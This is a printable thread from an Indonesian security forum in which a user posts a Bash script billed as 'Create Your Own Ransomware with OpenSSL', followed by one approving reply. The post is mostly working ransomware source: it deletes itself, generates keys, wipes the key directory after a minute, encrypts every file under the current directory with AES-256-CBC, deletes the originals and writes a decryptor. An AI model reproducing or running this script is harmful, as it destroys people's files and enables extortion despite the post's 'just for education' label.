Indonesian Back|Track Team
Share Create Your Own Ransomware with OpenSSL (BASH) - Printable Version

+- Indonesian Back|Track Team (https://www.indonesianbacktrack.or.id/forum)
+-- Forum: Defensive Zone (https://www.indonesianbacktrack.or.id/forum/forum-173.html)
+--- Forum: Kriptografi (https://www.indonesianbacktrack.or.id/forum/forum-248.html)
+--- Thread: Share Create Your Own Ransomware with OpenSSL (BASH) (/thread-7022.html)



Create Your Own Ransomware with OpenSSL (BASH) - cyberking - 05-16-2017

Just For Education and make you smile, not Cry.
Simple Bash Scripting for encrypt file with Open SSL


Code:
#!/bin/sh
rm -f $0
if [ ! -d /tmp/L0CK3R-74H4T ]; then
 mkdir /tmp/L0CK3R-74H4T
fi
openssl genpkey -out /tmp/L0CK3R-74H4T/m2.p -algorithm rsa -pkeyopt rsa_keygen_bits:4096
openssl pkey -in /tmp/L0CK3R-74H4T/m2.p -out /tmp/L0CK3R-74H4T/m5.p -pubout
dk=$(openssl rand -hex 16)
echo $dk | openssl pkeyutl -encrypt -pubin -inkey /tmp/L0CK3R-74H4T/m5.p -out /tmp/L0CK3R-74H4T/dke.d
openssl pkeyutl -decrypt -inkey /tmp/L0CK3R-74H4T/m2.p -in /tmp/L0CK3R-74H4T/dke.d -out /tmp/L0CK3R-74H4T/dk.dat
echo "[+] Your key is = $(cat /tmp/L0CK3R-74H4T/dk.dat)"
echo "[+] Your key is = $(cat /tmp/L0CK3R-74H4T/dk.dat)" > /tmp/L0CK3R-74H4T/key.txt
sleep 1m
rm -rf /tmp/L0CK3R-74H4T
for fn in `find * -type f`; do
  if [ ! -f $fn ]; then
    continue
  fi
  openssl sha256 -r $fn > $fn.L0ck3r74h4t
  iv=$(openssl rand -hex 16)
  echo $iv > $fn.L0CK3R74H4T
  openssl enc -aes-256-cbc -K $dk -iv $iv -in $fn -out $fn.l0ck3r74h4T
  rm $fn
  echo "[+] $fn Success"
  echo "[+] $fn Success" >> log.txt
done
cat <<'EOF' > decrypt.sh
#!/bin/sh
if [ ! $1 ];then
echo "Usage : bash $0 key"
echo "Example : bash $0 78c7707c904c44c77007c7cc07c700cc"
exit
fi
for fe in `find * -type f -iregex '.+\.l0ck3r74h4T'`; do
  fn=$(echo $fe | sed -e 's/\.l0ck3r74h4T$//')
  iv=$(cat $fn.L0CK3R74H4T)
  openssl enc -aes-256-cbc -d -K $1 -iv $iv -in $fn.l0ck3r74h4T -out $fn
  if openssl sha256 -r $fn | diff -q - $fn.L0ck3r74h4t; then
    rm $fn.L0ck3r74h4t $fn.L0CK3R74H4T $fn.l0ck3r74h4T
  else
    echo "$fn: digest mismatch" >&2
  fi
done
EOF
echo "[+] decrypt.sh created...."
Don't cry, because u can make your own!


RE: Create Your Own Ransomware with OpenSSL (BASH) - wine trochanter - 05-17-2017

ntap jiwa
nice share beb :*